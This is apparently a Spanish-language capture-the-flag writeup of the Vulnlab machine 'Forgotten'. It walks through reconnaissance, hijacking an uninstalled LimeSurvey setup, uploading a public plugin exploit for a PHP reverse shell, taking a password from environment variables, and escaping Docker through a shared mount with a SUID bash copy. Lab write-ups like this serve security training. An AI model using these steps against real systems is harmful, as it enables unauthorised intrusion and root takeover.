Forgotten – Writeup (Vulnlab)

#image_title
                        
                        ███████╗░█████╗░██████╗░░██████╗░░█████╗░████████╗████████╗███████╗███╗░░██╗
                        ██╔════╝██╔══██╗██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗░██║
                        █████╗░░██║░░██║██████╔╝██║░░██╗░██║░░██║░░░██║░░░░░░██║░░░█████╗░░██╔██╗██║
                        ██╔══╝░░██║░░██║██╔══██╗██║░░╚██╗██║░░██║░░░██║░░░░░░██║░░░██╔══╝░░██║╚████║
                        ██║░░░░░╚█████╔╝██║░░██║╚██████╔╝╚█████╔╝░░░██║░░░░░░██║░░░███████╗██║░╚███║
                        ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝░╚═════╝░░╚════╝░░░░╚═╝░░░░░░╚═╝░░░╚══════╝╚═╝░░╚══╝
                        
                        | Difficult -> Easy
                        | System -> Linux
                        | shkz - http://vulnlab.com




Como siempre empezamos con el reconocimiento de los servicios y puertos.

nmap -sC -sV -p- --min-rate=5000
Bash

NMAP

Dos puertos disponibles, SSH y HTTP.


Al acceder al puerto 80 via Firefox obtenemos un Forbidden:

Port 80 Forbidden

Procedo a fuzzear con dirsearch a ver si puedo localizar algún archivo o carpeta que sean
accesible.

dirsearch -u http://10.10.84.111/
Bash

Obtenemos algo, un path a la carpeta llamada /survey/

survey

LimeSurvey

LimeSurvey es una aplicación de software libre para la realización de encuestas en línea, escrita en
PHP y que utiliza bases de datos MySQL, PostgreSQL o MSSQL.

Bien al momento de acceder nos encontramos con que al parecer no esta instalado y es el setup de
dicha aplicación LimeSurvey. Me plantee la idea de realizar la instalación y poner localmente mi
servidor de mysql para que lo instale ahí.

LimeSurvey Setup


Configuro MariaDB en Arch Linux para poder realizar esto correctamente:

sudo mariadb-install-db --user=mysql --basedir=/usr --datadir=/var/lib/mysql

sudo systemctl start mariadb
Bash

Seteo la contraseña de ROOT:

sudo mysql_secure_installation
Bash

A continuacion voy al archivo de configuración y ‘descomento’ lo siguiente:

bind-address=0.0.0.0
Bash

Corremos el daemon del server:

sudo /usr/bin/mariadbd-safe --datadir='/var/lib/mysql'
Bash


Como va a conectarse a mi base de datos mysql, voy a setear un usuario y contraseña para servirle
amablemente mi hospedaje :D.
Accedo a la DB:

sudo mariadb -u root -p
Bash

Creamos un user y le damos los permisos:

CREATE USER 'shkz'@'%' IDENTIFIED BY 'Testing123';

GRANT ALL PRIVILEGES ON . TO 'shkz'@'%' IDENTIFIED BY 'Testing123' WITH GRANT OPTION;

FLUSH;

FLUSH PRIVILEGES;
Bash

En la web configuramos todo:

Configurando el setup

Base de datos creada!:

Base de datos creada

Configuro el ADMIN y tenemos acceso al panel de control:

Panel de control


Viendo el modo de buscar RCE, encuentro el siguiente exploit: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE


Edito lo necesario y lo explotamos como dice subiendolo a plugins desde el panel.


configxml
Plugin subido

Luego de subirlo e instalarlo, me dirijo a la siguiente URL y lo ejecuto, obteniendo asi revshell:

http://IP_VICTIM/survey/upload/plugins/myRevShell/php-rev.php
Bash

Obtenemos revshell

Nos encontramos en un DOCKER, buscando el modo de escapar, enumero todo lo que puedo y veo
que el usuario limesvc pertenece al grupo SUDO sin embargo me pide una contraseña que aun no
tenemos pero que vamos a encontrar analizandocon las variables de entorno:

env
Bash

Obtenemos password de user

Conectamos via SSH y obtenemos user.txt.

ssh [email protected]
<type the password>
Bash

Esta parte es bastante sencilla. Volvemos al contenedor, y rooteamos con la clave que sacamos de limesvc:

script -q /dev/null -c bash

sudo su
Bash


Siendo root, y dirigiéndonos a la ruta de la web /var/www/html/survey si creamos un archivo de
prueba: hello.txt y luego verificamos con el usuario limesvc que estamos via SSH, en
/opt/limesurvey, esta montado la misma web. Y vemos que el archivo creado hello.txt esta con
permisos de ROOT:

Creando files desde docker con permisos root

Sabiendo esto, esta muy fácil lo que podemos hacer:


Desde DOCKER:

cp /bin/bash ./pwned
chmod u+s ./pwned
Bash

Finalmente desde limesvc shell:

./pwned -p
whoami
Bash

PWNED

Share this :

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..